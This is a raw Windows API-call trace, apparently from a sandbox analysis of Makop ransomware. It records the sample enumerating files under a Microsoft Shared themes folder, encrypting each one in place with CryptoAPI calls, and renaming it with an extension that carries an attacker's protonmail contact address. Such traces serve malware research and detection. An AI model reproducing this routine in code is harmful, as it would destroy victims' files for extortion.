hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.370] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.370] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.ELM.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.elm.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.371] CloseHandle (hObject=0x138) returned 1 [0097.371] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6099bdd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x223, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVRGREEN.INF", cAlternateFileName="")) returned 1 [0097.371] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF") returned 77 [0097.372] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.374] GetProcessHeap () returned 0x48a0000 [0097.374] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.374] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.374] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.374] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xd, lpOverlapped=0x0) returned 1 [0097.377] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.377] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.377] GetProcessHeap () returned 0x48a0000 [0097.378] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.378] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.378] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.378] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.378] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.378] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.378] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.379] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.379] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.379] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.379] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.379] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.379] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x223, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x223, lpOverlapped=0x0) returned 1 [0097.379] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x230, dwBufLen=0x230 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x230) returned 1 [0097.379] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.379] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x230, lpOverlapped=0x0) returned 1 [0097.380] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.380] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.380] SetEndOfFile (hFile=0x138) returned 1 [0097.387] GetProcessHeap () returned 0x48a0000 [0097.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.387] GetProcessHeap () returned 0x48a0000 [0097.387] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.387] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.387] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\EVRGREEN.INF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\evrgreen.inf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.396] CloseHandle (hObject=0x138) returned 1 [0097.396] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0097.397] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF") returned 76 [0097.397] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.397] GetProcessHeap () returned 0x48a0000 [0097.397] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.397] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.397] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.397] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x6, lpOverlapped=0x0) returned 1 [0097.402] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.402] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.402] GetProcessHeap () returned 0x48a0000 [0097.402] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.402] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.403] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.403] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.403] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.403] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.403] WriteFile (in: hFile=0x138, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.404] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.404] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.404] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.404] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.405] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x54a, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x54a, lpOverlapped=0x0) returned 1 [0097.405] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x550, dwBufLen=0x550 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x550) returned 1 [0097.405] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.405] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x550, lpOverlapped=0x0) returned 1 [0097.405] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.405] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x624, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.406] SetEndOfFile (hFile=0x138) returned 1 [0097.414] GetProcessHeap () returned 0x48a0000 [0097.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.414] GetProcessHeap () returned 0x48a0000 [0097.414] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.415] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 123 [0097.415] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\PREVIEW.GIF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\preview.gif.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.424] CloseHandle (hObject=0x138) returned 1 [0097.424] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0097.424] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG") returned 77 [0097.424] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.425] GetProcessHeap () returned 0x48a0000 [0097.425] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.425] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.425] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.426] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0xf, lpOverlapped=0x0) returned 1 [0097.431] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.431] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.431] GetProcessHeap () returned 0x48a0000 [0097.431] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.431] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 [0097.432] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.432] WriteFile (in: hFile=0x138, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6576028*=0x40, lpOverlapped=0x0) returned 1 [0097.432] WriteFile (in: hFile=0x138, lpBuffer=0x6576030*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576030*, lpNumberOfBytesWritten=0x6576028*=0x4, lpOverlapped=0x0) returned 1 [0097.432] WriteFile (in: hFile=0x138, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6576028*=0x10, lpOverlapped=0x0) returned 1 [0097.432] WriteFile (in: hFile=0x138, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6576028*=0x80, lpOverlapped=0x0) returned 1 [0097.432] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576050 | out: lpNewFilePointer=0x0) returned 1 [0097.433] WriteFile (in: hFile=0x138, lpBuffer=0x6576040*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576040*, lpNumberOfBytesWritten=0x6576028*=0x8, lpOverlapped=0x0) returned 1 [0097.433] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.433] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.433] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.433] ReadFile (in: hFile=0x138, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7eb1, lpNumberOfBytesRead=0x6576034, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6576034*=0x7eb1, lpOverlapped=0x0) returned 1 [0097.435] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6576010*=0x7ec0, dwBufLen=0x7ec0 | out: pbData=0x6370020*, pdwDataLen=0x6576010*=0x7ec0) returned 1 [0097.436] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.436] WriteFile (in: hFile=0x138, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7ec0, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6576028*=0x7ec0, lpOverlapped=0x0) returned 1 [0097.436] CryptDestroyKey (hKey=0x48c7168) returned 1 [0097.436] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x7f94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.437] SetEndOfFile (hFile=0x138) returned 1 [0097.445] GetProcessHeap () returned 0x48a0000 [0097.445] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0097.445] GetProcessHeap () returned 0x48a0000 [0097.445] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0097.445] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0097.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EVRGREEN\\THMBNAIL.PNG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\evrgreen\\thmbnail.png.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0097.446] CloseHandle (hObject=0x138) returned 1 [0097.446] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7eb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0097.447] FindClose (in: hFindFile=0x48c7128 | out: hFindFile=0x48c7128) returned 1 [0097.447] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN", cAlternateFileName="")) returned 1 [0097.447] wsprintfW (in: param_1=0x6578d70, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN") returned 64 [0097.447] wsprintfW (in: param_1=0x65762f0, param_2="%s\\*.*" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*") returned 68 [0097.447] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\*.*", lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c7128 [0097.448] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60af2a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0097.448] FindNextFileW (in: hFindFile=0x48c7128, lpFindFileData=0x65760a0 | out: lpFindFileData=0x65760a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd690500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60af2a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd690500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x19539, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPEDITN.ELM", cAlternateFileName="")) returned 1 [0097.448] wsprintfW (in: param_1=0x6576af0, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM") returned 77 [0097.448] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\EXPEDITN.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\expeditn.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0097.448] GetProcessHeap () returned 0x48a0000 [0097.449] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0097.449] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0097.449] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6576048 | out: lpNewFilePointer=0x0) returned 1 [0097.449] WriteFile (in: hFile=0x138, lpBuffer=0x6576058*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x6576028, lpOverlapped=0x0 | out: lpBuffer=0x6576058*, lpNumberOfBytesWritten=0x6576028*=0x7, lpOverlapped=0x0) returned 1 [0097.454] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657602c | out: phKey=0x657602c*=0x48c7168) returned 1 [0097.454] CryptSetKeyParam (hKey=0x48c7168, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0097.454] GetProcessHeap () returned 0x48a0000 [0097.455] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0097.455] CryptEncrypt (in: hKey=0x48c7168, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6576010*=0x40) returned 1 